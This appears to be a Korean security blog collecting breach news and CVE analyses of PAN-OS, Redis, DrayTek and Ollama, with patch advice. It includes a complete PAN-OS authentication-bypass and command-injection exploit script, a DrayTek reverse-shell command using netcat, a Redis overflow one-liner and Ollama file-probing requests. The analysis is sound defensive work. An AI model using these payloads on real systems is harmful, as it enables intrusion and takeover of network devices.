요약 - 해커 miyako, 방화벽 호스팅 서버 액세스 정보 판매글 게시
- 한국기업 4곳 포함해 피해 우려 기업 100여곳
내용 - 해커 miyako, 다크웹 브리치포럼에 방화벽 호스팅 서버에 대한 접근권한 판매글 게시
> 한국 기업 4곳을 포함해 총 100여개 이상의 기업이 피해 가능
> 해커는 랜섬웨어 조직 일원으로 알려져 랜섬웨어 피해 가능
> 방화벽 관련 보안 점검과 취약점 패치 요구

- 국가 배후 해커들이 방화벽 취약점 중 CVE-2024-23113 적극 악용
> CVE-2024-23113 : FortiOS, FortiPAM, FortiProxy 및 FortiWeb에서 발생하는 포맷 스트링 취약점 (CVSS : 9.8)
> 패치를 적용하지 않은 경우 인증을 가능하기 때문에 승인된 포트 541 IP를 제한 권고
기타 - 최근 다수 랜섬웨어 조직들이 방화벽 취약점을 악용
> 방화벽, VPN 취약점에 대한 빠른 보안 패치 권고

- 네트워크 접점 장비에서 제로데이 취약점이 발견될 경우
> IPS와 같은 보안장비로 탐지가 어려움
> 내부 네트워크 전체에 접근이 허용되는 등 파급효과가 매우 큼
> 네트워크 레벨의 모니터링 체계를 더욱 강화해야할 필요

 

보안뉴스

 

방화벽 취약점 악용 공격 비상! 해킹포럼에 100여개 기업의 방화벽 호스팅 서버 접근권한 판매 글

다크웹의 대표적인 해킹 커뮤니티인 브리치포럼에 방화벽을 호스팅하고 있는 서버에 대한 접근권한을 판다는 글이 올라와 파장이 커지고 있다. 한국기업을 포함해 100여개 이상의 기업이 피해

www.boannews.com

 

요약 - 포티넷 VPN, 설계 결함으로 브루트포스 공격 중 성공적인 로그인 시도가 로그에 기록되지 않음
- 포티넷은 이를 취약점으로 간주하지 않으며, 패치 제공 계획 없음
내용 - 포티넷 VPN은 인증(Authentication) 단계와 권한 부여(Authorization) 단계로 로그인 과정을 나눔
> 일반적으로 로그인 시도가 실패하면 인증 단계에서 로그가 기록
> 성공적인 로그인은 권한 부여 단계까지 완료된 경우에만 로그가 기록
> 인증 단계 이후 프로세스를 중단하여 성공적인 로그인이 로그에 남지 않도록 할 수 있음을 확인

- Burp Suite 등의 테스트 도구를 사용해 VPN 클라이언트-서버 간 통신 분석
> 유효한 자격 증명을 확인했을 때 서버에서 반환하는 특정 값(ret)을 이용해 성공 여부 판별 가능
> ret=1 : 성공적인 로그인 / ret=0 : 실패한 로그인
> 인증 단계에서 프로세스 중단 시 성공적인 로그인 시도가 기록되지 않고 실패한 시도만 남아 관리자에 혼란 유발 가능

- 해당 결함은 브루트포스 공격이 탐지되어도 자격 증명을 성공적으로 확보했는지 확인할 수 없게 만듬

- 포티넷은 취약점으로 간주하지 않음
> 문제 해결 계획 역시 확인되지 않음
> 연구진은 결함 악용 방법을 공개하며 모니터링 강화 권고
기타 - 비정상적인 인증 시도를 탐지할 수 있도록 해야 함
> 추가 모니터링 도구 도입
> 보안 정책과 로그 기록 체계 재검토
> 모든 인증 시도 기록 및 실시간 분석 등

- 로그 기록의 완전성이 얼마나 중요한지 보여주는 사례

 

보안뉴스

 

[주의] 포티넷 VPN 심각한 결함 발견돼…공격자, 브루트포스 공격 성공해도 들키지 않아 - 데일리

포티넷(Fortinet) VPN 서버에서 브루트포스 공격 중 성공적인 로그인 시도가 로그에 기록되지 않는 설계 결함이 발견됐다. 이 결함은 공격자가 유효한 자격 증명을 확인하면서도 이를 보안 관리자

www.dailysecu.com

 

FortiClient VPN Logging Blind Spot Revealed

Security research that presents a method to automatically validate credentials against Fortinet VPN servers by uncovering an exploit that attackers can use to compromise countless organizations.

pentera.io

 

1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

2. 주요내용 [1]

2.1 CVE-2024-0012 [2]

[사진 1] CVE-2024-0012

- Palo Alto Networks PAN-OS에 존재하는 인증 우회 취약점 (CVSS : 9.3)

> 공격자가 인증이나 사용자 상호작용 없이 관리자 권한을 얻을 수 있으며, 방화벽 설정에 무단 접근 및 제어가 가능
CVE-2024-9474와 연계하여 공격이 진행 중

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만

 

- 취약점은 uiEnvSetup.php 스크립트에서 발생

> 스크립트는 HTTP 헤더 HTTP_X_PAN_AUTHCHECK가 "on" 또는 "off"인지 확인
> "on"으로 설정된 경우 스크립트는 사용자를 로그인 페이지로 리다이렉션
> 헤더가 기본 구성(/etc/nginx/conf/proxy_default.conf 파일)에서 "on"으로 설정되어 있으나, 이를 "off"로 변경하여 인증을 우회할 수 있음

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    $_SERVER['PAN_SESSION_READONLY'] = true;
    $ws = WebSession::getInstance($ioc);
    $ws->start();
    $ws->close();
    // these are horrible hacks.
    // This whole code should be removed and only make available to a few pages: main, debug, etc.
    if (
        !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
        && !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
    ) {
        if (Backend::quickSessionExpiredCheck()) {
            if (isset($_SERVER['QUERY_STRING'])) {
                Util::login($_SERVER['QUERY_STRING']);
            } else {
                Util::login();
            }
            exit(1);
        }
    }
}

 

[사진 2] HTTP_X_PAN_AUTHCHECK: off 및 200 OK

2.2 CVE-2024-9474 [3]

[사진 3] CVE-2024-9474

- Palo Alto Networks PAN-OS에 존재하는 권한 상승 취약점

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만
- PAN-OS 10.1.14-h6 버전 미만

 

- 취약점은 createRemoteAppwebSession.php 스크립트에서 발생

> 해당 스크립트를 사용하면 공격자는 임의의 사용자를 만들고, PHPSESSID(인증 토큰)를 할당받을 수 있음
할당받은 인증 토큰을 이용해 악성 명령 실행 가능

[사진 3] PHPSESSID 획득

2.3 PoC [4]

- X-PAN-AUTHCHECK 헤더를 off로 설정하여 인증 우회

- createRemoteAppwebSession.php를 이용해 PHPSESSID 획득

#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def setup_logging():
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )

class VulnChecker:
    def __init__(self, base_url, verify_ssl=False, timeout=30):
        self.base_url = base_url
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.session = requests.Session()
        
        if not verify_ssl:
            urllib3.disable_warnings(InsecureRequestWarning)
            self.session.verify = False
    
    def make_request(self, method, endpoint, **kwargs):
        try:
            url = urljoin(self.base_url, endpoint)
            kwargs['timeout'] = self.timeout
            kwargs['verify'] = self.verify_ssl
            
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response
            
        except requests.exceptions.SSLError as e:
            logging.error(f"SSL Error: {str(e)}")
            logging.info("Try using --no-verify if the target uses self-signed certificates")
            return None
        except requests.exceptions.RequestException as e:
            logging.error(f"Request failed: {str(e)}")
            return None

    def create_initial_session(self):
        """Create initial session with command injection payload"""
        headers = {
            'X-PAN-AUTHCHECK': 'off',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # Command injection payload to write system info to file
        data = {
            'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
            'userRole': 'superuser',
            'remoteHost': '',
            'vsys': 'vsys1'
        }
        
        response = self.make_request(
            'POST',
            '/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
            headers=headers,
            data=data
        )
        
        if response and 'PHPSESSID' in response.cookies:
            phpsessid = response.cookies['PHPSESSID']
            logging.info(f"Initial session created: {phpsessid}")
            return phpsessid
        return None

    def trigger_execution(self, phpsessid):
        """Trigger command execution via index page"""
        headers = {
            'Cookie': f'PHPSESSID={phpsessid}',
            'X-PAN-AUTHCHECK': 'off',
            'Connection': 'keep-alive'
        }
        
        response = self.make_request(
            'GET',
            '/index.php/.js.map',
            headers=headers
        )
        
        if response:
            logging.info(f"Trigger response status: {response.status_code}")
            if response.text:
                logging.info(f"Response content length: {len(response.text)}")
            return True
        return False

    def verify_execution(self):
        """Verify command execution by checking created file"""
        response = self.make_request(
            'GET',
            '/unauth/watchTowr.php'
        )
        
        if response and response.status_code == 200:
            logging.info("Command execution verified")
            if response.text:
                logging.info(f"System info: {response.text.strip()}")
            return True
        return False

def main():
    parser = argparse.ArgumentParser(description='Vulnerability Check Script')
    parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
    parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
    parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
    args = parser.parse_args()
    
    setup_logging()
    logging.info(f"Starting vulnerability check against {args.url}")
    
    checker = VulnChecker(
        args.url,
        verify_ssl=not args.no_verify,
        timeout=args.timeout
    )
    
    # Step 1: Create session with command injection payload
    phpsessid = checker.create_initial_session()
    if not phpsessid:
        logging.error("Session creation failed")
        return
    
    # Step 2: Trigger command execution
    if checker.trigger_execution(phpsessid):
        logging.info("Command execution triggered successfully")
        
        # Step 3: Verify the result
        if checker.verify_execution():
            logging.info("Verification completed successfully")
        else:
            logging.error("Verification failed - file not created or accessible")
    else:
        logging.error("Command execution trigger failed")

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5][6]

제품명 취약점 영향받는 버전 해결 버전
PAN-OS CVE-2024-0012 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
CVE-2024-9474 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
PAN-OS 10.1.14-h6 버전 미만 PAN-OS 10.1.14-h6 및 이후 버전

 

- 권고 사항

① 접근 제한 : 관리 인터페이스에 대한 접근을 신뢰할 수 있는 내부 네트워크로 제한 및 다중 인증(MFA)을 구현

> 특정 IP 주소로만 접속이 가능하게 하면 CVSS 9.3에서 7.5로 감소

② 시스템 모니터링: 의심스러운 활동을 실시간으로 감지하고 대응하기 위한 지속적인 모니터링

③ 관리자 교육: 시스템 관리자들이 최신 보안 권고 사항을 숙지하고, 신속한 업데이트의 중요성을 이해하도록 교육

4. 참고

[1] https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0012
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-9474
[4] https://github.com/Sachinart/CVE-2024-0012-POC
[5] https://security.paloaltonetworks.com/CVE-2024-0012
[6] https://security.paloaltonetworks.com/CVE-2024-9474
[7] https://www.picussecurity.com/resource/blog/palo-alto-cve-2024-0012-and-cve-2024-9474-vulnerabilities-explained
[8] https://www.boannews.com/media/view.asp?idx=134400&page=9&kind=1
[9] https://www.boannews.com/media/view.asp?idx=134571&page=1&kind=1
[10] https://www.dailysecu.com/news/articleView.html?idxno=161318
[11] https://www.dailysecu.com/news/articleView.html?idxno=161409

1. Redis (Remote Dictionary Server) [1]

- 오픈 소스 인메모리 비관계형 데이터베이스
- 데이터를 Key - Value 형태로 메모리에 하며, 빠른 읽기/쓰기 성능을 제공
- 특징
① 빠른 속도 : 모든 데이터를 저장하므로 읽기 및 쓰기 속도가 빠름
② 데이터 영속성 : 메모리 특성(휘발성)으로 데이터가 사라질 수 있어 RDB 또는 AOF 방식으로 백업 지원
 ⒜ RDB (Redis Database) : 메모리에 있는 데이터 전체에서 스냅샷을 작성하고, 이를 디스크로 저장하는 방식
   > 디스크 I/O를 줄이며 저장 효율이 높으나, 마지막 스냅샷 이후 변경된 데이터는 복구할 수 없음
 ⒝ AOF (Append Only File) : 데이터가 변경되는 이벤트가 발생하면 이를 모두 로그에 저장하는 방식
   > 데이터 손실 가능성을 최소화하나, 로그 파일 크기가 커지고 디스크 I/O 부하 증가
③ 다양한 데이터 타입 지원 : String, List, Set, Sorted Set, Hash, Stream 등 다양한 데이터 타입 지원

2. CVE-2024-31449

[사진 1] CVE-2024-31449 [2]

Lua 엔진이 포함된 모든 버전의 Redis에 존재하는 스택 버퍼 오버플로우 취약점
> Lua 엔진은 사용자 스크립트를 실행하도록 레디스에 내장된 도구로, 데이터를 더 편리하게 처리할 수 있도록 설계
악용에 성공 시 악의적인 코드를 실행하거나 데이터 탈취 및 서버를 제어할 수 있음

 

- Lua 엔진에서 특정 스크립트를 실행할 때 스택 버퍼 오버플로우가 발생 [3]
> 취약점은 Lua 엔진 내 bit.tohex 함수와 관련 (bit 모듈은 비트 연산을 수행하는데 사용됨)

 

- bit.tohex 함수는 정수를 16진수 문자열로 변환 [4]

> 정수(x)를 입력받아 16진수로 변환하여 지정된 자리수 n 만큼(생략 가능) 출력
> 지정된 자리를 채우기 위해 왼쪽에 0이 추가되어 결과 출력
> 음수 값도 처리가능하며, 2의 보수 표현에 따라 출력

사용법: bit.tohex(x [,n])

 

- 특정 인수로 bit.tohex 함수를 호출하는 Lua 스크립트 악용

자리수를 결정하는 두 번째 인자에 음수와 같은 비정상적인 값을 사용
잘못된 인자 값이 지나치게 큰 버퍼 크기를 요구하므로, 인접한 메모리가 덮어씌워지며 스택 버퍼 오버플로우가 발생

redis-cli eval "return bit.tohex(65535, -2147483648)" 0

// 마지막 0은 해당 Lua 스크립트에서 Redis 키를 참조하지 않음을 의미
// 스크립트가 순수히 계산 작업만 수행하거나, 외부 입력값으로만 동작하며 Redis 데이터베이스의 키를 읽거나 쓰지 않는 경우 사용

3. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

제품명 영향받는 버전 해결 버전
Redis 모든 Redis 소프트웨어 릴리스 7.4.2-169 이상
7.2.4-109 이상
6.4.2-110 이상
7.4.6 – 모든 빌드
7.6.0 – 모든 빌드(non-GA)
7.8.0 – 모든 빌드(non-GA)
모든 Redis OSS/CE/Stack 릴리스 (OSS/CE)7.4.1
(OSS/CE)7.2.6
(OSS/CE)6.2.16
(Stack)7.4.0-v1
(Stack)7.2.0-v13
(Stack)6.2.6-v17

4. 참고

[1] https://redis.io/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-31449
[3] https://redrays.io/blog/redis-cve-2024-31449-how-to-reproduce-and-mitigate-the-vulnerability/
[4] https://bitop.luajit.org/api.html
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71587&menuNo=205020
[6] https://redis.io/blog/security-advisory-cve-2024-31449-cve-2024-31227-cve-2024-31228/
[7] https://www.boannews.com/media/view.asp?idx=134444&page=7&kind=1

요약 - 한국지능정보사회진흥원(이하 NIA)의 관리자 페이지 및 관리자 계정 노출
- NIA에서 관리하던 행정안전부, 외교부 등 주요 정부부처의 소스코드 파일이 유출
내용 - 한국지능정보사회진흥원
> 우리나라 AI 및 정보화 전문기관

- 정보보안 조직을 갖추고 있음에도 방화벽 설정 미흡
> 방화벽 포트가 열려 있었고, 이를 통해 외교부, 행안부 등의 소스코드 파일이 유출
> 집에서 사용하는 직원의 개인 PC가 악성코드에 감염된 것이 확인

- 외부에 노출된 NIA의 웹페이지는 총 9개
> 문제가 된 것은 프로덕트 관리자 페이지
> 해당 페이지의 계정정보가 산출물 시스템과 연결돼 외교부, 행안부 등 주요 정부부처의 소스코드 파일이 유출
> 정부부처의 정보화 및 IT 관련 사업을 맡고 있어 유출된 소스코드 파일과 규모를 파악하는 것이 시급

- 현재 유출 사고의 원인을 확인하고, 현재 보호조치에 대한 보완이 필요하며, 유출된 소프트웨어 소스코드나 소프트웨어 관련 정보가 공격자에 의해 악용되지 않도록 하는 추가 조치가 필요
기타 - 누구나 접근할 수 있도록 방화벽 포트를 열어놨느냐는 것이 심각한 문제

- NIST, 안전한 소프트웨어 개발 프레임워크
> 4가지 안전한 수명주기 전반의 지침을 제공
① 소프트웨어 개발 보안 조직 준비
② 소프트웨어 보호
③ 안전한 소프트웨어 제작
④ 소프트웨어의 잠재적 취약성 대응
> 개발된 소프트웨어가 변경 또는 무단으로 접근되는 것을 방지하기 위해 기술적·관리적·물리적 보호 조치를 통해 보호되도록 요구

 

보안뉴스

 

[단독] 한국지능정보사회진흥원, 관리자계정 유출로 외교부·행안부 등 소스코드 파일 털렸다!

한국지능정보사회진흥원(이하 NIA)의 관리자 페이지와 비밀번호 등 계정정보가 외부에 노출되면서 NIA에서 관리하던 행정안전부, 외교부 등 주요 정부부처의 소스코드 파일이 유출돼 파장이 커

www.boannews.com

 

1. DrayTek

- 대만 네트워크 장비 제조 업체

- VPN, 방화벽, 라우터, 콘텐츠 필터링, VoIP 및 대역폭 관리 기능 등을 제공

 

2. 주요내용

2.1 CVE-2024-41592

[사진 1] CVE-2024-41592 [2]

- 취약한 버전의 DrayTek에서 발생하는 스택 기반 오버플로우 (CVSS: 10.0)

> 악용에 성공할 경우 서비스 거부 또는 CVE-2024-41585와 연계해 임의의 명령 실행 가능

※ CVE-2024-41585와 연계는 Vigor 3910와 Vigor 3912에만 영향

 

- 웹 UI의 40개가 넘는 CGI 페이지에 매우 긴 쿼리 문자열을 보냄으로써 트리거될 수 있음

> 쿼리 문자열 매개변수 구분을 위해 다수의 "&" 문자 사용

 

[사진 2] 취약한 코드

- var_query_str은 원시 쿼리 문자열이며, 처리된 쿼리 문자열은 a2에 저장

> while 루프 내에서 makeword()는 "&" 문자가 있는 경우 다음 쿼리 문자열 매개변수를 키-값 쌍으로 추출 및 저장

> 그러나, 해당 코드는 고정된 길이로 스택에 할당된 버퍼 a2에 저장할 수 있는 키-값 쌍의 개수에 대한 검사가 없음

> 따라서, 쿼리 문자열에 다수의 "&" 문자를 삽입하면 a2의 경계를 넘어 스택에 직접 쓸 수 있음

 

2.2 CVE-2024-41585

[사진 3] CVE-2024-41585 [3]

- 취약한 버전의 DrayTek에서 발생하는 임의 명령 실행 취약점 (CVSS: 9.1)

> 공격자가 애뮬레이션된 인스턴스에서 탈출하여 호스트 머신에 임의의 명령을 삽입할 수 있음

 

- 분석 장비를 포함한 일부 DrayTek 장치는 DrayOS가 에뮬레이션됨

> 호스트OS는 사용자가 직접 액세스할 수 없으나 게스트OS는 호스트OS와 통신할 수 있음

> 해당 통신에 "recvCmd" 바이너리를 사용하며 /etc/runcommand에 저장된 명령만 사용 가능

> 그러나, recvCmd가 전송한 명령이 /etc/runcommand에 저장된 목록의 문자열로 시작하는지 여부만 검사하여 

[사진 4] 게스트에서 호스트로 전송 가능한 명령 목록

2.3 공격 체인

- 공격자는 두 가지 취약점을 악용해 호스트OS에 임의의 명령을 삽입할 수 있음

다수의 "&" 문자와 포함하는 쿼리 문자열

recvCmd 바이너리를 통해 악성 명령 삽입

※ recvCmd 바이너리는 글자 수가 63글자로 제한되므로, 더 긴 명령은 순차적으로 보내거나 스크립트에 작성한 후 실행

[역방향 셸 연결 명령]
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode]set_linux_time ;ifconfig br-wan3 192.169.42.42;
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode] set_linux_time ;busybox nc 192.168.42.1 1234 -e sh;

[디코딩]
- hxxp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode]set_linux_time ;ifconfig br-wan3 192.169.42.42;
- hxxtp://[Target IP]/cgi-bin/[vulnerable-cgi-page].cgi?&&&&....&&&&[shellcode] set_linux_time ;busybox nc 192.168.42.1 1234 -e sh;

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용

> 두 가지 취약점을 포함한 총 11개의 취약점에 대한 패치 제공

[사진 5] 패치 버전

4. 참고

[1] https://www.forescout.com/blog/research-alert-draytek-exposed-vulnerable-routers/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-41592
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-41585
[4] https://www.boannews.com/media/view.asp?idx=134192&page=1&kind=1

1. Ollama [1]

- 개인 또는 기업이 별도의 하드웨어나 서비스 구비 없이 로컬에서 LLM을 구동할 수 있게 해 주는 오픈소스 애플리케이션

 

2. 주요내용

- 인터넷에 노출된 Ollama 프레임워크에서 6개의 보안 취약점이 발견 [2]
> 익스플로잇에 성공할 경우 DDoS, 인공지능 모델 감염, 인공지능 모델 탈취가 가능

> 4개의 취약점에 대한 보안 업데이트 발표

2개의 취약점은 Ollama 유지보수 팀이 취약점으로 인정하지 않아 CVE 번호가 할당되지 않음

※ CVE가 할당되지 않은 2개의 취약점은 패치 또한 제공되지 않음 : 엔드포인트를 노출시키지 않는것이 기본이며, 이 기본이 지켜지지 않는다는 가정 하에 연구된 취약점이므로 취약점으로 볼 수 없다는 입장

 

2.1 CVE-2024-39720

[사진 1] CVE-2024-39720 [3]

- 취약한 버전 Ollama에서 발생하는 서비스 거부 취약점

> 두 개의 HTTP 요청을 사용해 세그먼테이션 오류(SIGSEGV)를 발생시켜 서비스 거부를 유도

영향받는 버전: Ollama <= 0.1.45

 

- 공격자는 잘못된 형식의 GGUF 파일을 전송하여 서버나 애플리케이션이 이를 처리하는 과정에 예상치 못한 동작을 유도

GGUF [4] - Georgi Gerganov Unified Format
- 오픈 소스 파일 형식으로, AI 모델 파일과 관련 데이터를 효율적으로 저장 및 교환하기 위해 개발된 파일 형식
① 범용성
> 기존의 모델 저장 방식들은 특정 프레임워크나 라이브러리에 종속
> 다른 환경 또는 플랫폼에서 사용하려면 별도의 변환 작업이 필요함
> 다양한 유형의 모델 파일과 메타데이터를 한 곳에 통합할 수 있어 변환 없이 여러 플랫폼에서 사용할 수 있음
② 경량 데이터 저장
> 데이터를 압축 및 최적화하여 모델 파일 크기를 최소화하고, 메모리 사용량을 줄임
> 로컬 환경 처럼 메모리 제한이 있는 장치에서 AI 모델을 실행할 때 성능 및 효율성을 높임
③ 확장성
> 파일 내 모델의 가중치(Weight) 텐서 값들과 메타데이터(모델의 구조, 버전, 텐서 개수 등)가 Key-Value 형식으로 저장
> 새 메타데이터나 추가 정보를 쉽게 저장할 수 있어 확장성을 높임
④ 다양한 양자화 지원
> 양자화란 모델의 가중치를 더 낮은 비트 정밀도로 변환하는 기술로, 16-bit 부동 소수점, 8-bit, 6-bit, 5-bit, 4-bit, 3-bit, 2-bit 지원
> 모델을 더 작게 만들어 추론 속도를 높이고, 메모리 사용을 줄임

 

- GGUF 파일은 0x47 0x47 0x55 0x46(GGUF)로 시작하는 헤더그 뒤 파일의 구조에 맞는 추가 데이터를 포함

> 공격자는 4Byte(헤더) 데이터만 가지는 GGUF 파일을 생성해 서버에 업로드

[사진 2] GGUF 파일 구조 [4]

- 공격자는 잘못된 GGUF 파일 업로드를 위해 두 개의 HTTP 요청을 사용

> 먼저, 잘못된 GGUF 파일 업로드를 위한 첫 번째 HTTP 요청 전송

> /api/create URL잘못된 GGUF 파일을 참조하도록 Modelfile 내 FROM 명령문을 사용한 두 번째 HTTP 요청 전송

Modelfile [5] - 모델의 설정과 명령을 정의한 파일
> 사용할 모델, 템플릿 형태, 파라미터 등을 지정해 모델을 지정할 수 있는 파일
① FROM(필수) : 사용할 기본 모델 정의
② PARAMETER : Ollama가 모델을 실행하는 방법에 대한 매개변수를 설정
③ TEMPLATE : 모델에 전송할 전체 프롬프트 템플릿
④ SYSTEM : 템플릿에 설정될 시스템 메시지를 지정
⑤ ADAPTER : 모델에 적용할 (Q)LoRA 어댑터를 정의
⑥ LICENSE : 법적 라이센스를 지정
⑦ MESSAGE : 메시지 기록을 지정

 

- CreateModel은 업로드된 파일을 기반으로 새로운 모델을 생성하거나 로드하는 기능

> 이 과정에서 GGUF 파일과 Modelfile을 로드 및 검증 없이 실행을 시도하여 얘기지 못한 메모리 참조가 발생

> 메모리 접근 위반으로 세그멘테이션 오류(Segmentation Fault)가 발생, 시스템은 SIGSEGV 신호 수신 및 프로세스 중단

 

2.2 CVE-2024-39722

[사진 3] CVE-2024-39722 [6]

- 취약한 버전 Ollama에서 발생하는 파일 존재 여부 공개 취약점

> /api/push 엔드포인트존재하지 않는 경로 매개변수를 통해 호출할 때 발생

이스케이프된 URI를 공격자에게 응답으로 반환
> 이로 인해 서버에 존재하는 파일 및 디렉터리 정보가 노출되어, 공격자가 추가로 시스템을 탐색 또는 악용할 수 있음

영향받는 버전: Ollama <= 0.1.45

 

[사진 4] Exploit 예시 및 서버 응답

2.3 CVE-2024-39719

[사진 5] CVE-2024-39719 [7]

- 취약한 버전 Ollama에서 발생하는 파일 존재 여부 공개 취약점

영향받는 버전: Ollama 0.3.14

 

- /api/create 엔드포인트를 존재하지 않는 경로 매개변수를 통해 호출하여 응답(오류)을 통해 존재 유무 확인

[사진 5] Exploit 예시

구분 설명
파일이 존재하지 않는 경우 요청 : ~/ curl "hxxp://localhost:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
응답 : {"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}%
파일이 존재하는 경우 요청 : ~/ curl hxxp://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
응답 : {"error":"command must be one of \"from\", \"license\", \"template\", \"system\", \"adapter\", \"parameter\", or \"message\""}%
파일 경로 대신 디렉터리 사용 요청 : ~/ curl hxxp://localhost:11434/api/create -d '{"name": "file-leak-existence","path": "/etc"}'
응답 : {"error":"read /etc: is a directory"}%

 

2.4 CVE-2024-39721

[사진 6] CVE-2024-39721 [8]

- 취약한 버전 Ollama에서 발생하는 서비스 거부 취약점

영향받는 버전: Ollama <= 0.1.33

 

- CreateModelHandler 함수는 os.Open을 사용하여 완료될 때까지 파일을 읽음

> req.Path 사용자 지정 매개변수를 사용하며, /dev/random으로 설정할 수 있음

> 매개변수 값이 /dev/random일 경우 난수를 생성할 엔트로피를 모을 때까지 차단이 발생

> 해당 파일을 열고 읽기 시도한 고루틴은 엔트로피가 충분히 쌓이기를 기다리면서 계속 차단

> 클라이언트가 요청을 취소해도 고루틴은 멈추지 않고 무한히 실행

[사진 7] 예제 Payload 및 PoC

2.5 모델 중독 (CWE-668)

- 기본 설정을 사용하는 Ollama 서버의 경우 /api/pull 경로에 대한 인증 절차가 없음

> 즉, 누구나 인증 없이 해당 API를 호출 가능한 상태

> 공격자는 클라이언트가 자신이 제어하는 서버에서 악의적인 모델을 다운로드하도록 유도할 수 있음

> 해당 API를 지속적으로 호출하여 디스크가 가득 찰 때까지 모델을 다운로드하게 되어 서비스 거부로 이어질 수 있음

[사진 8] 예제 Payload

2.6 모델 도용 (CWE-285)

- 기본 설정을 사용하는 Ollama 서버의 경우 /api/push 경로에 대한 인증 절차가 없음

> 공격자는 서버에 저장된 모든 모델을 제3의 서버로 업로드하거나 탈취할 수 있음

3. 참고

[1] https://ollama.com/
[2] https://www.oligo.security/blog/more-models-more-probllms
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-39720
[4] https://github.com/ggerganov/ggml/blob/master/docs/gguf.md
[5] https://github.com/ollama/ollama/blob/main/docs/modelfile.md
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-39722
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-39719
[8] https://nvd.nist.gov/vuln/detail/CVE-2024-39721
[9] https://thehackernews.com/2024/11/critical-flaws-in-ollama-ai-framework.html
[10] https://www.boannews.com/media/view.asp?idx=134063&page=2&kind=1
[11] https://www.boannews.com/media/view.asp?idx=134082&page=1&kind=1

요약 - 친러 해킹그룹, 한국 기관 대상 DDoS 공격 및 데이터 유출 시도
- 외부 접속 단속하고, 계정·백업·이메일 등 철저한 관리 권고
내용 - 친러시아 해커 그룹, 한국 금융권 및 공공기관을 겨냥한 DDoS 공격과 데이터 유출 시도
> 한국이 우크라이나를 지원했다는 빌미

- 사이버 위협정보 분석·공유 시스템 ‘C-TAS(Cyber Threat Analysis & Sharing)’ 보안 공지 3건 발표
> 기관과 기업의 적극 협조 요청
① 외부 접속 관리 강화
> 기업 자산 중 외부에 오픈된 DB 서비스, NAS 등 시스템 현황을 파악
> 테스트 서버 등 불필요한 시스템 연결을 차단
> 중요 시스템 접속자의 경우 개인 단말에 임의로 원격제어 프로그램이 설치됐는지 확인
> 불필요한 네트워크 서비스를 중지 및 1433, 3389 등 기본 서비스 포트 사용 지양
> 부득이하게 외부에서 접속해야 하는 경우 접속 IP 및 단말기기 제한, 다중인증 설정이나 내부차단을 위한 서버별 접근제어 설정·확인
> 해외 및 야간이나 주말 접속 IP와 비정상 접속 여부, 일반적이지 않은 네트워크 통신량에 대한 주기적인 로그 확인 필요

② 계정 관리 강화
> 기본 관리자 패스워드를 사용하고 있다면 반드시 변경
> 사용하지 않는 기본 관리자 계정은 비활성화 및 권한 제외
> 정기적 비밀번호 변경과 2차 인증수단을 적용

③ 백업 관리 강화
> 중요 자료는 네트워크와 분리된 별도의 저장소에 정기적으로 백업
